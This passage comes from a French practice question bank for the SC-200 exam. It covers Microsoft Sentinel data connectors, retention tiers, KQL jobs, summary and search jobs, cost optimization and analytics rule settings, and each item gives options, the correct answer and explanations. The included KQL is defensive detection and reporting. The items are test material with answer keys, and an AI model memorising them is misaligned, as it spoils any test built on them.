**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous activez le connecteur Microsoft Defender XDR dans Sentinel. Quelles données ce connecteur peut-il apporter ?

**Sélectionnez deux réponses.**

**A.** Le journal d'activité Azure de tous les abonnements.

**B.** Les recommandations de Secure Score de Defender for Cloud.

**C.** Les journaux Syslog des serveurs Linux non protégés.

**D.** Les incidents et alertes de Defender XDR, synchronisés avec Sentinel.

**E.** Les événements bruts de la chasse avancée (par exemple DeviceProcessEvents, EmailEvents, IdentityLogonEvents) vers les tables correspondantes de l'espace.

**Bonne réponse : D, E**

**Correction détaillée**

Le connecteur **Microsoft Defender XDR** synchronise les **incidents et alertes** (avec synchronisation bidirectionnelle de l'état) et peut transmettre les **événements de chasse avancée** des produits Defender (Endpoint, Office 365, Identity, Cloud Apps...) dans les tables Device*, Email*, Identity*, CloudAppEvents de l'espace.

**Analyse des réponses incorrectes**

- **A.** Ce journal provient du connecteur Azure Activity (paramètres de diagnostic).
- **B.** Ces données relèvent de Defender for Cloud (export continu), pas du connecteur Defender XDR.
- **C.** Ces journaux nécessitent Syslog via AMA.

**Explication technique**

L'ingestion des événements bruts a un coût ; on choisit les tables utiles. Dans le portail Defender, les tables XDR restent interrogeables nativement en chasse avancée (30 jours) même sans ingestion dans Sentinel ; l'ingestion sert à la rétention longue, aux règles Sentinel et aux corrélations avec des données tierces. Le connecteur Defender XDR active aussi la collecte des alertes des produits Defender (MDE, MDO, MDI, MDCA) et, selon la configuration, d'Entra ID Protection.

**Point à retenir pour l'examen :** Connecteur Defender XDR = incidents/alertes (bidirectionnel) + événements bruts de chasse avancée optionnels.

**Référence officielle**

- Stream les données de Microsoft Defender XDR à Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-microsoft-365-defender

## 1.4 Rétention, niveaux de données, coûts et optimisation SOC

### Question n° 25 — Niveau de données adapté aux règles de détection

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Les journaux d'authentification Entra ID (SigninLogs) doivent alimenter des règles d'analyse planifiées exécutées toutes les 5 minutes. Dans quel niveau (tier) ces données doivent-elles être stockées ?

**A.** L'archive à long terme uniquement.

**B.** Le niveau Analytics.

**C.** Le niveau data lake uniquement.

**D.** Aucun : les règles d'analyse lisent directement les journaux à la source dans Entra ID.

**Bonne réponse : B**

**Correction détaillée**

Microsoft classe les journaux en **données de sécurité principales** (EDR, authentification, audit cloud, TI, alertes externes), à stocker dans le **niveau Analytics** pour la détection en continu, la chasse interactive, la corrélation et l'UEBA, et en **données secondaires** (volumineuses, verbeuses : pare-feu, DNS, proxy, flux réseau), candidates au **niveau data lake**.

**Analyse des réponses incorrectes**

- **A.** Les données archivées doivent être restaurées ou interrogées par des jobs de recherche ; elles ne sont pas utilisables par des règles fréquentes.
- **C.** Le niveau data lake est destiné aux données secondaires, à la rétention longue et aux requêtes/jobs ponctuels ; il ne sert pas directement aux règles d'analyse en quasi-temps réel.
- **D.** Les règles d'analyse interrogent les tables de l'espace de travail, pas les services sources.

**Explication technique**

Le niveau Analytics offre toutes les capacités (règles planifiées et NRT, classeurs, chasse, UEBA) avec une rétention interactive incluse (90 jours pour un espace où Sentinel est activé) puis une rétention totale configurable. Le niveau data lake réduit fortement le coût de stockage, conserve les données jusqu'à 12 ans au format ouvert et s'interroge par KQL interactif, jobs KQL ou notebooks.

**Point à retenir pour l'examen :** Détection fréquente = niveau Analytics. Données volumineuses à faible valeur unitaire = niveau data lake.

**Référence officielle**

- Niveaux de rétention des journaux dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/log-plans
- Gérer les niveaux de données et la rétention dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/manage-data-overview

## Question n° 26 — Rétention longue à faible coût

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** La réglementation impose de conserver les journaux de pare-feu pendant 7 ans. Ils ne servent qu'à des investigations ponctuelles. Quelle configuration est la plus économique tout en restant interrogeable en KQL ?

**A.** Conserver la table en niveau Analytics avec une rétention interactive de 7 ans.

**B.** Supprimer les journaux après 90 jours et ne conserver que les alertes.

**C.** Stocker la table dans le niveau data lake avec une rétention de 7 ans, et utiliser des requêtes KQL ou des jobs KQL lors des investigations.

**D.** Exporter quotidiennement les journaux en CSV vers un partage de fichiers.

**Bonne réponse : C**

### Correction détaillée

Le **niveau data lake** de Microsoft Sentinel permet une rétention jusqu'à **12 ans** à faible coût, avec un stockage unique au format ouvert (Parquet) et une séparation stockage/calcul. Les données restent interrogeables en KQL (requêtes interactives, **jobs KQL**) et par notebooks.

### Analyse des réponses incorrectes

- **A.** Techniquement possible mais nettement plus coûteux pour des données rarement interrogées.
- **B.** Contraire à l'exigence réglementaire de conservation des journaux.
- **D.** Les données ne seraient plus interrogeables en KQL et la chaîne de preuve serait plus difficile à garantir.

### Explication technique

Dans le portail Defender, la gestion se fait dans Microsoft Sentinel > Configuration > **Tables** : choix du niveau (Analytics ou data lake) et de la rétention par table. Les opérations de lecture sur le data lake sont facturées selon le volume de données analysées : on privilégie des requêtes filtrées dans le temps.

> **Point à retenir pour l'examen :** Conservation longue + accès occasionnel = niveau data lake (jusqu'à 12 ans), interrogé par KQL ou jobs KQL.

### Référence officielle

- Qu'est-ce que le lac de données Microsoft Sentinel ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-lake-overview
- Configurer les paramètres de table dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/manage-table-tiers-retention

## Question n° 27 — Rétention des tables Defender XDR

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un analyste constate que la chasse avancée Defender XDR ne lui permet de remonter que sur 30 jours dans DeviceProcessEvents. Il doit enquêter sur une compromission vieille de 5 mois. Quelle mesure, à mettre en place en amont, permettait de conserver ces données plus longtemps ?

**A.** Activer le mode bloc EDR.

**B.** Augmenter le niveau d'automatisation de Defender for Endpoint.

**C.** Créer une règle de détection personnalisée qui s'exécute toutes les 24 heures.

**D.** Configurer, dans la gestion des tables du portail Defender (Sentinel connecté), une rétention plus longue pour la table XDR concernée, dans le niveau Analytics ou data lake.

**Bonne réponse : D**

### Correction détaillée

Par défaut, les données de chasse avancée XDR sont disponibles **30 jours**. Une fois Sentinel connecté au portail Defender, la page **Tables** permet de gérer les tables XDR (« niveau XDR ») : prolonger leur rétention dans le niveau Analytics ou les stocker dans le data lake pour une conservation longue.

### Analyse des réponses incorrectes

- **A.** Le mode bloc EDR améliore la prévention, il n'a aucun effet sur la rétention.
- **B.** Le niveau d'automatisation concerne la remédiation (AIR), pas la rétention des données.
- **C.** Une règle de détection ne conserve pas les événements bruts.

### Explication technique

La prolongation a un coût (ingestion/stockage) ; il faut cibler les tables utiles (DeviceProcessEvents, DeviceNetworkEvents, EmailEvents, IdentityLogonEvents...). Configurer les paramètres de tables requiert « Data (manage) » en URBAC ou Log Analytics Contributor sur l'espace. Sans cette anticipation, aucune donnée au-delà de 30 jours n'est récupérable a posteriori dans la chasse avancée.

**Point à retenir pour l'examen :** Chasse avancée XDR = 30 jours par défaut ; pour plus, prolonger la rétention des tables XDR via Sentinel (Analytics ou data lake), à anticiper.

**Référence officielle**

- Configurer les paramètres de table dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/manage-table-tiers-retention
- Chasser de manière proactive les menaces avec une chasse avancée dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-overview

## Question n° 28 — Choisir entre job KQL, règle de synthèse et job de recherche

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Pendant une réponse à incident, vous devez exécuter, sur 2 ans d'historique stocké dans le data lake, une requête qui joint DeviceNetworkEvents et une table de journaux de proxy, puis rendre le résultat disponible dans le niveau Analytics pour la chasse avancée. Quelle fonctionnalité choisir ?

**A.** Un job KQL (KQL job) sur le data lake, qui promeut le résultat vers une table du niveau Analytics.

**B.** Une règle d'analyse NRT.

**C.** Une règle de synthèse (summary rule).

**D.** Un job de recherche (search job).

**Bonne réponse : A**

**Correction détaillée**

Selon la comparaison officielle, les **jobs KQL** interrogent le data lake avec une fenêtre jusqu'à **12 ans**, prennent en charge **plusieurs tables, les jointures et les unions**, peuvent être ponctuels ou planifiés (quotidien, hebdomadaire, mensuel) et **promeuvent les résultats vers le niveau Analytics**.

**Analyse des réponses incorrectes**

- **B.** Les règles NRT ne remontent que quelques minutes et ne créent pas de table de résultats.
- **C.** Les règles de synthèse s'exécutent fréquemment (20 minutes à 24 heures) avec une fenêtre de recherche limitée à 1 jour : elles ne conviennent pas à une analyse sur 2 ans.
- **D.** Les jobs de recherche portent sur une seule table et ne prennent pas en charge les jointures.

**Explication technique**

Repères : règles de synthèse = agrégation fréquente (20 min à 24 h), fenêtre ≤ 1 jour, résultats dans une table personnalisée Analytics, modèles disponibles ; jobs de recherche = une seule table, sans jointure, jusqu'à 100 millions de résultats, utiles pour l'archive et les données antérieures à l'intégration au data lake ; jobs KQL = jointures, jusqu'à 12 ans, délai d'expiration d'une heure.

**Point à retenir pour l'examen :** Historique long + jointures + promotion vers Analytics = job KQL ; agrégation fréquente = règle de synthèse ; une table archivée volumineuse = job de recherche.

**Référence officielle**

- Comparer les tâches KQL, les règles de synthèse et les tâches de recherche dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/kql-jobs-summary-rules-search-jobs
- Créer des tâches KQL dans le lac de données de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/kql-jobs
- Agréger des données Microsoft Sentinel avec des règles récapitulatives — https://learn.microsoft.com/fr-fr/azure/sentinel/summary-rules

## Question n° 29 — Règles de synthèse pour des journaux verbeux

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Les journaux de flux réseau (plusieurs To/mois) sont stockés dans un niveau peu coûteux. Le SOC veut un tableau de bord mis à jour toutes les heures avec le volume d'octets par adresse IP source, interrogeable rapidement. Quelle fonctionnalité est la plus adaptée ?

**A.** Une règle d'analyse planifiée générant une alerte par adresse IP.

**B.** Une règle de synthèse (summary rule) qui agrège les données chaque heure dans une table personnalisée du niveau Analytics.

**C.** Un job de recherche planifié chaque heure.

**D.** Déplacer toute la table dans le niveau Analytics.

**Bonne réponse : B**

#### Correction détaillée

Les **règles de synthèse** agrègent en arrière-plan de gros volumes (flux réseau, pare-feu) et stockent les résultats précalculés dans une **table personnalisée Analytics**, rapide à interroger, y compris à partir de données de niveaux peu coûteux.

#### Analyse des réponses incorrectes

- **A.** Les alertes ne sont pas un mécanisme de stockage d'agrégats ; cela créerait du bruit.
- **C.** Les jobs de recherche sont ponctuels et longs ; ils ne sont pas conçus pour une agrégation périodique.
- **D.** Cela supprimerait l'avantage économique du stockage des journaux verbeux.

#### Explication technique

Fréquence de 20 minutes à 24 heures ; la sortie peut aussi servir à masquer des données personnelles (agrégats partageables). L'état des exécutions est consultable dans la table **LASummaryLogs**. Des modèles prêts à l'emploi sont disponibles dans le hub de contenu.

> **Point à retenir pour l'examen :** Agrégation périodique de journaux volumineux → règle de synthèse → table Analytics rapide.

#### Référence officielle

- Agréger des données Microsoft Sentinel avec des règles récapitulatives — https://learn.microsoft.com/fr-fr/azure/sentinel/summary-rules
- Comparer les tâches KQL, les règles de synthèse et les tâches de recherche dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/kql-jobs-summary-rules-search-jobs

## Question n° 30 — Restaurer ou rechercher des données archivées

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un espace de travail non intégré au data lake conserve SecurityEvent 90 jours en rétention interactive et 2 ans en rétention à long terme. Vous devez retrouver tous les événements 4720 d'un compte précis sur l'année écoulée. Quelle méthode est appropriée ?

**A.** Créer une règle NRT avec une fenêtre de recherche d'un an.

**B.** Exécuter une requête interactive classique sur 365 jours.

**C.** Lancer un job de recherche (search job) sur SecurityEvent ; les résultats sont placés dans une nouvelle table suffixée _SRCH, interrogeable en KQL.

**D.** Utiliser l'opérateur `externaldata` vers la rétention à long terme.

**Bonne réponse : C**

**Correction détaillée**

Le **job de recherche** interroge de façon asynchrone une **seule table**, y compris sa rétention à long terme, et écrit les résultats dans une table **_SRCH**. On peut aussi **restaurer** (restore) une période de données dans une table **_RST** pour des requêtes complètes à haute performance.

**Analyse des réponses incorrectes**

- **A.** Les règles NRT ne permettent pas de remonter dans l'historique.
- **B.** Les données au-delà de la rétention interactive ne sont pas accessibles par une requête interactive standard.
- **D.** `externaldata` lit des fichiers externes (blob, URL), pas la rétention longue de l'espace.

**Explication technique**

Le job de recherche est facturé selon les données analysées, la restauration selon le volume et la durée de restauration. Pour un espace intégré au data lake, la documentation recommande les jobs KQL pour les données postérieures à l'intégration et les jobs de recherche pour les données plus anciennes.

**Point à retenir pour l'examen :** Rétention longue (archive) : job de recherche → table _SRCH ; restauration → table _RST.

**Référence officielle**

- Démarrer une investigation en recherchant des événements dans des jeux de données volumineux — https://learn.microsoft.com/fr-fr/azure/sentinel/investigate-large-datasets
- Configurer la conservation interactive et à long terme des données dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/configure-data-retention-archive

## Question n° 31 — Rétention gratuite incluse avec Sentinel

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Lors du chiffrage d'un projet, quelle durée de rétention interactive (niveau Analytics) est incluse sans surcoût de rétention pour les données d'un espace où Microsoft Sentinel est activé ?

**A.** 2 ans.

**B.** 30 jours.

**C.** 7 jours.

**D.** 90 jours.

**Bonne réponse : D**

**Correction détaillée**

Pour un espace Log Analytics où **Microsoft Sentinel est activé**, la **rétention interactive de 90 jours** est incluse pour les données du niveau Analytics ; au-delà, la rétention interactive ou à long terme est facturée.

**Analyse des réponses incorrectes**

- **A.** Au-delà de la période incluse, la rétention est facturée.
- **B.** 30 jours correspondent à la rétention par défaut de la chasse avancée XDR et à la rétention par défaut d'un espace Log Analytics sans Sentinel, pas à la rétention incluse avec Sentinel.
- **C.** Valeur inexacte : la rétention incluse avec Sentinel est plus longue.

**Explication technique**

Le coût principal d'une solution Sentinel reste l'ingestion dans le niveau Analytics (paiement à l'usage ou paliers d'engagement). Certaines sources sont gratuites (par exemple les alertes de certains produits Microsoft, le journal d'activité Azure). Le calculateur de prix et la page « Planifier les coûts » détaillent ces éléments, qui évoluent régulièrement.

**Point à retenir pour l'examen :** Sentinel inclut 90 jours de rétention interactive dans le niveau Analytics ; vérifier la tarification à jour.

**Référence officielle**

- Planifier les coûts et comprendre Microsoft Sentinel tarification et facturation — https://learn.microsoft.com/fr-fr/azure/sentinel/billing
- Niveaux de rétention des journaux dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/log-plans

## Question n° 32 — Recommandations d'optimisation SOC

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un responsable SOC veut identifier les tables coûteuses qui ne sont utilisées par aucune règle de détection ni requête, et les lacunes de couverture face à des menaces précises. Quelle fonctionnalité intégrée fournit ces recommandations ?

**A.** Le classeur « Workspace Usage Report » uniquement.

**B.** Les optimisations SOC (SOC optimization) de Microsoft Sentinel.

**C.** Microsoft Purview Compliance Manager.

**D.** Le Secure Score de Microsoft Defender XDR.

**Bonne réponse : B**

**Correction détaillée**

Les **optimisations SOC** proposent des recommandations de **valeur des données** (tables peu ou pas utilisées, suggestions de changement de niveau), de **couverture basée sur les menaces** (règles manquantes pour des scénarios d'attaque comme les rançongiciels ou la compromission de messagerie) et de similarité avec d'autres organisations.

**Analyse des réponses incorrectes**

- **A.** Utile pour les volumes, mais il ne propose pas de recommandations de couverture des menaces.
- **C.** Outil de conformité réglementaire, sans lien avec l'optimisation des données SIEM.
- **D.** Le Secure Score mesure la posture de sécurité des charges, pas l'utilisation des données du SIEM.

**Explication technique**

Accessibles dans le portail Defender (et dans Azure pour Sentinel) ; elles peuvent être consommées par API. Chaque recommandation peut être marquée « en cours », « terminée » ou « ignorée ». Le référentiel SC-200 cite explicitement « Optimiser la plateforme Microsoft Sentinel, y compris les recommandations d'optimisation SOC ».

**Point à retenir pour l'examen :** Optimisation des coûts et de la couverture = page « Optimisations SOC ».

**Référence officielle**

- Optimiser vos opérations de sécurité — https://learn.microsoft.com/fr-fr/azure/sentinel/soc-optimization/soc-optimization-access

## Question n° 33 — Identifier les tables les plus volumineuses

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous devez lister les 10 types de données qui ont le plus contribué à l'ingestion facturable au cours des 30 derniers jours. Quelle requête utiliser ?

**A.**

REQUÊTE KQL

```
Usage
| where TimeGenerated > ago(30d)
| where IsBillable == true
| summarize VolumeGo = sum(Quantity) / 1024 by DataType
| top 10 by VolumeGo
```

**B.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(30d)
| summarize count() by Computer
| top 10 by count_
```

**C.**

REQUÊTE KQL

```
Usage
| where TimeGenerated > ago(30d)
| summarize VolumeGo = sum(Quantity) by Computer
| top 10 by VolumeGo
```

**D.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(30d)
| summarize count() by EventID
| top 10 by count_
```

**Bonne réponse : A**

### Correction détaillée

La table **Usage** enregistre le volume ingéré par type de données (**DataType**), en mégaoctets dans **Quantity**, avec l'indicateur **IsBillable**. Diviser par 1024 donne des gigaoctets.

### Analyse des réponses incorrectes

- **B.** Heartbeat mesure la disponibilité des agents, pas le volume ingéré par type de données.
- **C.** La table Usage ne contient pas de colonne Computer ; le volume est agrégé par DataType (Quantity en Mo).
- **D.** Cette requête ne porte que sur une table et compte des lignes, pas des volumes facturables.

### Explication technique

Pour un détail par ordinateur ou par ressource, on peut utiliser les colonnes système `_BilledSize` et `_IsBillable` présentes dans chaque table (par exemple `SecurityEvent | summarize sum(_BilledSize) by Computer`). Ces analyses alimentent les décisions de filtrage (DCR), de changement de niveau et de choix de palier d'engagement.

**Point à retenir pour l'examen :** Volume facturable par type de données → table Usage (DataType, Quantity en Mo, IsBillable).

### Référence officielle

- Utilisation — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/usage
- Réduire les coûts de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/billing-reduce-costs

## Question n° 34 — Supprimer une colonne volumineuse avant stockage

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** La table CommonSecurityLog contient une colonne AdditionalExtensions très volumineuse, jamais utilisée par les détections. Comment réduire le coût d'ingestion tout en conservant les autres colonnes ?

**A.** Supprimer la table puis la recréer chaque nuit.

**B.** Réduire la rétention de CommonSecurityLog à 30 jours.

**C.** Ajouter une transformation au moment de l'ingestion (transformKql) dans la DCR, par exemple `source | project-away AdditionalExtensions`.

**D.** Utiliser `project-away AdditionalExtensions` dans toutes les règles d'analyse.

**Bonne réponse : C**

**Correction détaillée**

Les **transformations d'ingestion** sont des requêtes KQL appliquées dans la **DCR** avant stockage. Elles peuvent filtrer des lignes (`where`), supprimer ou masquer des colonnes (`project-away`, `extend` + `replace_string`) ou enrichir des données. Les données supprimées ne sont pas stockées.

**Analyse des réponses incorrectes**

- **A.** Opération destructrice et sans effet sur l'ingestion future.
- **B.** Cela réduit le coût de rétention au-delà de la période incluse, pas le coût d'ingestion.
- **D.** Le volume a déjà été ingéré et facturé ; l'opérateur dans les requêtes n'a aucun effet sur le coût.

**Explication technique**

Les transformations prennent en charge un sous-ensemble de KQL (pas de jointure avec d'autres tables, par exemple). Pour les tables alimentées par des sources ne passant pas par une DCR d'agent, on utilise une **DCR par défaut de l'espace** (workspace transformation DCR). Attention : un filtrage trop agressif peut supprimer des preuves utiles ; validez avec les ingénieurs détection.

**Exemple pratique**

JOURNAL / SORTIE

```
source
| where DeviceAction != "keepalive"
| project-away AdditionalExtensions
```

**Point à retenir pour l'examen :** Réduire ce qui est ingéré = filtrer à la source (DCR XPath/facilités) ou transformer à l'ingestion (transformKql) ; filtrer dans les requêtes ne réduit pas la facture.

**Référence officielle**

- Transformations dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/data-collection-transformations
- Règles de collecte de données (DCR) dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/data-collection-rule-overview

## 1.5 Règles d'analyse et détections

### Question n° 35 — Règle planifiée ou NRT

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous devez détecter, avec le délai le plus court possible, l'ajout d'un compte au groupe « Admins du domaine » (événement 4728 ou 4732 sur les contrôleurs de domaine). Quel type de règle d'analyse Sentinel est le plus adapté ?

**A.** Une règle Fusion.

**B.** Une règle NRT (Near-Real-Time), exécutée environ toutes les minutes.

**C.** Une règle d'anomalie (ML).

**D.** Une règle planifiée avec une fréquence de 24 heures.

**Bonne réponse : B**

### Correction détaillée

Les règles **NRT** s'exécutent **toutes les minutes** et interrogent les données ingérées depuis la dernière exécution. Elles conviennent aux événements simples et critiques à détecter immédiatement.

### Analyse des réponses incorrectes

- **A.** Fusion corrèle des signaux multi-étapes avec du machine learning ; on ne peut pas y écrire sa propre requête.
- **C.** Les anomalies identifient des écarts statistiques et ne génèrent pas d'alertes par défaut ; elles ne conviennent pas à un événement déterministe.
- **D.** Délai de détection beaucoup trop long pour un événement critique.

### Explication technique

Les règles NRT ont des limites : nombre maximal de règles NRT par espace de travail (50 selon la documentation actuelle), pas de paramétrage de fréquence ni de fenêtre de recherche, certaines restrictions de requête. Elles gèrent nativement le délai d'ingestion. Pour des corrélations sur des fenêtres longues, on revient aux règles planifiées.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```kql
SecurityEvent
| where EventID in (4728, 4732, 4756)
| where TargetUserName in ("Domain Admins", "Admins du domaine", "Enterprise Admins")
| project TimeGenerated, Computer, SubjectAccount, MemberName, TargetUserName
```

**Point à retenir pour l'examen :** Événement critique à détecter en ~1 minute → règle NRT (nombre limité par espace).

### Référence officielle

- Détection rapide des menaces avec des règles d'analyse en quasi-temps réel (NRT) dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/near-real-time-rules
- Règles d'analyse planifiées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/scheduled-rules-overview

## Question n° 36 — Fréquence et fenêtre de recherche

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle planifiée s'exécute toutes les heures avec une fenêtre de recherche (lookback) de 30 minutes. Quel est le risque principal ?

**A.** Les mêmes événements sont analysés deux fois, générant des alertes en double.

**B.** La règle est automatiquement désactivée par Sentinel.

**C.** Aucun risque : Sentinel compense automatiquement l'écart.

**D.** Des événements survenus pendant 30 minutes de chaque heure ne sont jamais analysés, ce qui crée des angles morts de détection.

**Bonne réponse : D**

### Correction détaillée

La **fenêtre de recherche** doit être **au moins égale à la fréquence** d'exécution, sinon une partie des données n'est jamais évaluée. À l'inverse, une fenêtre beaucoup plus grande que la fréquence provoque des recouvrements et des alertes en double, à gérer par la suppression ou par une logique de déduplication.

**Analyse des réponses incorrectes**

- **A.** C'est le risque inverse, lorsque la fenêtre de recherche est nettement supérieure à la fréquence.
- **B.** Une telle configuration n'entraîne pas de désactivation ; elle crée des trous de couverture.
- **C.** Sentinel ne comble pas l'écart entre fréquence et fenêtre.

**Explication technique**

Paramètres d'une règle planifiée : fréquence de 5 minutes à 14 jours, fenêtre de recherche jusqu'à 14 jours, seuil d'alerte (nombre de résultats), regroupement des événements, suppression temporaire après une alerte. Une heure de début peut être fixée pour aligner l'exécution.

**Point à retenir pour l'examen :** Lookback ≥ fréquence ; lookback ≫ fréquence = doublons potentiels.

**Référence officielle**

- Règles d'analyse planifiées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/scheduled-rules-overview

## Question n° 37 — Délai d'ingestion et événements manqués

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une source tierce arrive dans Sentinel avec un délai d'ingestion pouvant atteindre 20 minutes. Une règle planifiée toutes les 10 minutes avec une fenêtre de 10 minutes rate certains événements. Quelle correction est recommandée par Microsoft ?

**A.** Augmenter la fenêtre de recherche pour couvrir le délai, puis filtrer sur `ingestion_time()` afin de n'évaluer que les lignes ingérées depuis la dernière exécution et d'éviter les doublons.

**B.** Remplacer `TimeGenerated` par `now()` dans le filtre temporel.

**C.** Convertir la table en niveau data lake.

**D.** Passer la règle en fréquence de 5 minutes avec la même fenêtre.

**Bonne réponse : A**

**Correction détaillée**

La documentation « Gérer le délai d'ingestion dans les règles d'analyse planifiées » recommande d'**élargir la fenêtre** (par exemple 10 minutes + délai attendu) et d'ajouter un filtre sur ** `ingestion_time()` ** correspondant à la fréquence, pour ne traiter qu'une fois chaque événement.

**Analyse des réponses incorrectes**

- **B.** `now()` ne règle rien : les événements tardifs sont toujours hors fenêtre.
- **C.** Cela rendrait au contraire la table inutilisable par une règle planifiée.
- **D.** Plus de fréquence ne compense pas le retard d'arrivée des données.

**Explication technique**

`TimeGenerated` reflète l'heure de l'événement, alors que `ingestion_time()` reflète l'arrivée dans l'espace. Les règles NRT gèrent ce délai nativement. On peut mesurer le délai réel : `| extend Delai = ingestion_time() - TimeGenerated | summarize percentiles(Delai, 50, 95, 99)`.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let ingestion_delay = 20m;
let rule_frequency = 10m;
CommonSecurityLog
| where TimeGenerated >= ago(ingestion_delay + rule_frequency)
| where ingestion_time() > ago(rule_frequency)
| where DeviceAction == "deny" and DestinationPort == 3389
```

**Point à retenir pour l'examen :** Données tardives : lookback = fréquence + délai, puis `where ingestion_time() > ago(fréquence)`.

**Référence officielle**

- Gestion du délai d'ingestion dans les règles d'analytique planifiée — https://learn.microsoft.com/fr-fr/azure/sentinel/ingestion-delay
- ingestion_time() — https://learn.microsoft.com/fr-fr/kusto/query/ingestion-time-function?view=microsoft-sentinel

## Question n° 38 — Regroupement des événements en alertes

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle planifiée renvoie 40 lignes, chacune correspondant à un utilisateur différent ayant échoué à se connecter plus de 20 fois. Vous souhaitez une alerte distincte par utilisateur, avec ses entités. Quel paramètre configurer ?

**A.** Le regroupement des événements sur « Regrouper tous les événements en une seule alerte ».

**B.** Le seuil d'alerte à « supérieur à 40 ».

**C.** Le regroupement des événements sur « Déclencher une alerte pour chaque événement » (une alerte par résultat).

**D.** La suppression de la règle pendant 24 heures.

**Bonne réponse : C**

**Correction détaillée**

L'option **« Déclencher une alerte pour chaque événement »** crée une alerte par ligne de résultat, chacune avec ses entités mappées. L'autre option regroupe tous les résultats d'une exécution dans une seule alerte.

**Analyse des réponses incorrectes**

- **A.** Ce mode crée une seule alerte pour les 40 lignes.
- **B.** Le seuil conditionne le déclenchement sur le nombre de résultats ; il ne crée pas d'alertes par ligne.
- **D.** La suppression arrête l'exécution de la règle après une alerte ; elle ne gère pas le découpage par utilisateur.

**Explication technique**

En mode une alerte par résultat, une exécution peut générer au maximum **150 alertes** ; au-delà, Sentinel crée une alerte de synthèse. Le regroupement en **incidents** (alert grouping) est un paramètre distinct, configuré dans l'onglet « Paramètres d'incident ».

**Point à retenir pour l'examen :** « Une alerte par événement » = une alerte par ligne (150 max par exécution) ; le regroupement en incidents est un paramètre séparé.

**Référence officielle**

- Règles d'analyse planifiées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/scheduled-rules-overview
- Associer des alertes à des incidents dans Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/relate-alerts-to-incidents

## Question n° 39 — Mappage des entités

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle détecte des connexions RDP suspectes. Les alertes n'affichent aucune entité et ne sont donc pas corrélées avec d'autres alertes portant sur le même hôte. Quelle configuration manque ?

**A.** Un regroupement d'événements « une seule alerte ».

**B.** Les détails personnalisés (custom details).

